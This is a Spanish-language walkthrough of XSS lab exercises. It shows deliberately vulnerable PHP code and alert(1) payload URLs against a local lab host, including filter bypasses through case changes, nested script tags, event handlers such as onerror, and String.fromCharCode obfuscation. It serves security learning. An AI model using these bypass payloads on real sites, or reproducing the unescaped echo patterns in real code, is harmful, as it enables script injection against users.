Vulnerabilidades XSS
En este apartado voy a mostrar el código PHP de cada ejercicio y luego como hice para explotarlo.
Al acceder a las páginas de los ejercicios XSS nos vamos a encontrar en todos con lo siguiente:
Ejercicio 1
Si miramos el código fuente php de este ejercicio:
<?php
echo $_GET["name"];
?>
Vemos que no tiene ningún tipo de filtrado, por lo que podemos inyectarle un alert de javascript directamente.
http://192.168.1.103/xss/example1.php?name=hacker<script>alert(1);</script>
Ejercicio 2
El código fuente del ejercicio es el siguiente:
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
En este caso vemos que ya tenemos un filtrado del texto que le pasemos a la variable name.
La función preg_replace realiza una búsqueda y sustitución de una expresión regular, en este caso sustituye las cadenas <script>
y </script>
de la variable name por cadenas vacias.
Formas que se me ocurren de explotarlo:
http://192.168.1.103/xss/example1.php?name=hacker<Script>alert(1);</Script>
http://192.168.1.103/xss/example1.php?name=hacker<scr<script>ipt>alert(1);</sc</script>ript>
Ejercicio 3
El código fuente del ejercicio es el siguiente:
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>
Este caso es similar al anterior salvo que ignora si los caracteres de la cadena son mayúsculas.
Forma de explotarlo:
http://192.168.1.103/xss/example1.php?name=hacker<scr<script>ipt>alert(1);</sc</script>ript>
Ejercicio 4
El código fuente del ejercicio es el siguiente:
<?php
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
En este ejemplo vemos que si encuentra en la variable name la cadena script, ignorando si tiene algún carácter en mayúscula, llama a la función die que muestra el mensaje "error" y sale del script php.
Para conseguir explotar esto, podemos inyectar javascript dentro de alguna etiqueta como <a>
(Es necesario pinchar en el link para que se ejecute), <div>
o <img>
y jugar con los eventos onmouseover, onmouseout, ...
Veamos algún ejemplo:
- Al pasar el ratón por encima del enlace Home se dispara el evento y se ejecuta el alert.
http://192.168.1.103/xss/example4.php?name=hacker<a onmouseover="alert(1)" href=""> Home</a>
- Al pasar el ratón por encima de la linea donde esta el div se ejecutar el alert del evento onmouseover
http://192.168.1.103/xss/example4.php?name=hacker<div onmouseover="alert(1)">
- Al entrar en la url, la etiqueta img intenta buscar una imágen con nombre asd, como no la encuentra en el servidor ejecuta el alert del evento onerror.
http://192.168.1.103/xss/example4.php?name=hacker<img src="asd" onerror=alert(1)>
Ejercicio 5
El código fuente del ejercicio es el siguiente:
<?php
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
Tenemos el mismo ejemplo que antes pero en vez de filtrar por script ahora filtra por alert.
Para este caso podemos usar la función eval, que si su argumento es una sentencia Javascript la ejecuta, a esta función le podemos pasar como argumento la cadena alert(1) pero codificada con la función String.fromCharCode() pasándole los caracteres ascii en decimal.
'a' = 97 'l' = 108 'e' = 101 ...
String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)
http://192.168.1.103/xss/example5.php?name=hacker<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
Ejercicio 6
El código fuente del ejercicio es el siguiente:
Hello
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>
Ejercicio 7
El código fuente del ejercicio es el siguiente:
Hello
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
Ejercicio 8
El código fuente del ejercicio es el siguiente:
<?php
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
Ejercicio 9
El código fuente del ejercicio es el siguiente:
<script>
document.write(location.hash.substring(1));
</script>